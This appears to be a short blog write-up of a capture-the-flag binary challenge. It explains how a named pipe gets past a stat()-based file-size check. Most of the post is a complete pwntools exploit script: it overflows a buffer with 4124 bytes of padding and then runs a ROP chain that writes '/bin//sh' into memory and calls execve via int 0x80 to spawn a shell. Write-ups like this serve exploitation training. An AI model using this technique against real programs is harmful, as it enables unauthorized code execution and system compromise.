Blog
This question was something different , it reads the data from a file and then copy it to a buffer .. so to reach eip you need 4124 byte but it uses stat() func
to check if file size < 4095 byte . So trick stat() we can use
1) Race condition
2)Named pipes a.k.a FIFO file structure whose size is always 0 .
The later is easy and reliable so i choose that .. So redirect the paylod via pipe and then do rop chain ...
from pwn import *
from subprocess import call
import time
def send_payload(payload) :
with open('imp','wb') as f :
f.write(payload)
call(['cat imp > mypipe'],shell=True)
call(['mkfifo', 'mypipe'])
p = 'A'*4124
p += pack(0x0807270a) # pop edx ; ret
p += pack(0x080ee060) # @ .data
p += pack(0x080beb26) # pop eax ; ret
p += '/bin'
p += pack(0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack(0x0807270a) # pop edx ; ret
p += pack(0x080ee064) # @ .data + 4
p += pack(0x080beb26) # pop eax ; ret
p += '//sh'
p += pack(0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack(0x0807270a) # pop edx ; ret
p += pack(0x080ee068) # @ .data + 8
p += pack(0x0806fab8) # xor eax, eax ; ret
p += pack(0x0809dead) # mov dword ptr [edx], eax ; ret
p += pack(0x080481d1) # pop ebx ; ret
p += pack(0x080ee060) # @ .data
p += pack(0x08072731) # pop ecx ; pop ebx ; ret
p += pack(0x080ee068) # @ .data + 8
p += pack(0x080ee060) # padding without overwrite ebx
p += pack(0x0807270a) # pop edx ; ret
p += pack(0x080ee068) # @ .data + 8
p += pack(0x0806fab8) # xor eax, eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x0807f15f) # inc eax ; ret
p += pack(0x08049501) # int 0x80
r=process(['pwn','mypipe'])
time.sleep(1)
send_payload(p)
r.interactive()
#print p